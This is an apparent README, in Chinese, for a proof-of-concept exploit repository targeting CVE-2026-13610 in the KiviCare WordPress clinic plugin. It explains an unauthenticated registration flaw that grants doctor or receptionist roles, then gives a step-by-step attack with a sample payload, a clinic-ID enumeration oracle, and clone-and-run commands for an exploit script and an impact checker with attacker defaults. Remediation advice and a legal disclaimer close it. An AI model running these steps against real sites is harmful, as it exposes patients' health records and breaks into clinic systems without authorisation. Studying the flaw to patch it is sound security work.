CWE-269(不当权限管理) | 使用攻击者选择的员工角色进行未认证注册 → 患者 PHI 泄露
KiviCare – 诊所与患者管理系统 WordPress 插件(4.5.1 及之前的所有版本)中存在严重漏洞,允许未认证攻击者使用自选密码注册医生(kiviCare_doctor)或前台(kiviCare_receptionist)账户,并将其映射到攻击者选择的诊所。
该漏洞的存在是因为公共注册端点直接从请求体中获取 user_role 参数,且其验证白名单包含诊所员工角色:
| 关卡 | 作用 | 结果 |
|---|---|---|
permission_callback | 无 is_user_logged_in()、无 nonce、无能力检查 | 通过;最终以 return true 结束 |
user_role 白名单 | 接受 kiviCare_doctor、kiviCare_receptionist、kiviCare_patient | 攻击者可选择员工角色 |
patient_role_only 参数 | 声明默认值为 yes | 从未被读取 — 形同虚设的参数 |
| reCAPTCHA | 仅当 if (isset($params['recaptchaToken'])) 时才进行验证 | 通过省略该参数即可绕过 |
注册端点 POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242)仅受
checkRegistrationPermission()(:602–650)保护,该函数:
users_can_register,则立即返回 true(无认证检查)。KCOption::get() 返回 null,该设置默认为允许。return true。随后,register() 处理器(:1277–1387)从请求体中读取 user_role,将其映射到 KCDoctor / KCReceptionist 模型,并调用 $model->save() — 该函数会执行 wp_insert_user() 和 setRole('kiviCare_doctor')(app/models/KCDoctor.php:136),且不进行任何授权检查。由此产生的账户处于激活状态,并映射到攻击者选择的诊所。
插件的 E2EE 请求体加密并非障碍:握手端点(server-key、config/register-key)是未认证的(app/controllers/api/ConfigController.php:190–205),因此任何客户端都可以协商一个访客密钥并发送加密载荷。
完整分步解析:analysis/TECHNICAL_ANALYSIS.md
1. Handshake (encrypted targets):
POST /wp-json/kivicare/v1/server-key -> server X25519 public key
POST /wp-json/kivicare/v1/config/register-key -> register own public key
(header x_kc_client_id: <anything>, body {"public_key": "<base64>"})
2. Enumerate a valid clinic ID via the validation oracle:
"Invalid clinic selected" -> clinic does not exist
"Username already exists" -> clinic exists
3. Encrypt the payload and send:
POST /wp-json/kivicare/v1/auth/register
body = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- vulnerable parameter
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> active doctor account created
5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
该脚本会自动检测传输模式(纯 JSON 与 E2EE 加密),并在未提供 --clinic 时枚举诊所 ID。
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
通过 REST 登录,重新绑定账户的 E2EE 响应密钥,然后调用仅限员工访问的端点(/patients、/appointments)。
--url Target base URL (required)
--username Username to create (default: attacker<random>)
--email Email (default: <username>@evil.example)
--password Password (default: Poc!Passw0rd-2026)
--role kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic Clinic ID (auto-enumerated when omitted)
--mobile Mobile number (default: random +1555...)
--first-name First name (default: Dr)
--last-name Last name (default: Poc)
--gender Gender (default: male)
--no-verify Skip post-creation login verification
成功利用后将产生一个映射到真实诊所的激活员工账户,且无需任何认证:
wp-admin 仪表板访问权限(read + upload_files)的有效 WordPress 账户 — 为进一步攻击提供了立足点该端点不允许创建 WordPress administrator 账户(user_role 白名单会拒绝该角色),但医生角色已足以实现对临床数据的完整访问。
patient_role_only 参数current_user_can('create_users') + nonce 验证之后checkRegistrationPermission 中默认拒绝 — 移除函数末尾兜底的 return truerecaptchaToken(目前为可选)仅供教育和授权测试使用。
本工具面向拥有明确书面授权对目标系统进行测试的安全研究人员和渗透测试人员。未经授权访问计算机系统属违法行为。作者对滥用本工具的行为不承担任何责任。所有验证均在作者自己的实验基础设施上完成。
ghostpels — 安全研究与漏洞利用开发
本项目采用 ghostpels 安全研究许可证 授权。
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-13610 |
| CWE | CWE-269(不当权限管理) |
| 插件 | KiviCare – 诊所与患者管理系统 |
| 受影响版本 | 4.5.1 及之前的所有版本 |
| 已修复 | 截至本次分析尚未确认 |
| 类型 | 使用员工角色进行未认证账户创建(权限提升) |
| 研究人员 | Sai Praneeth Koti |
| 发布时间 | 2026 |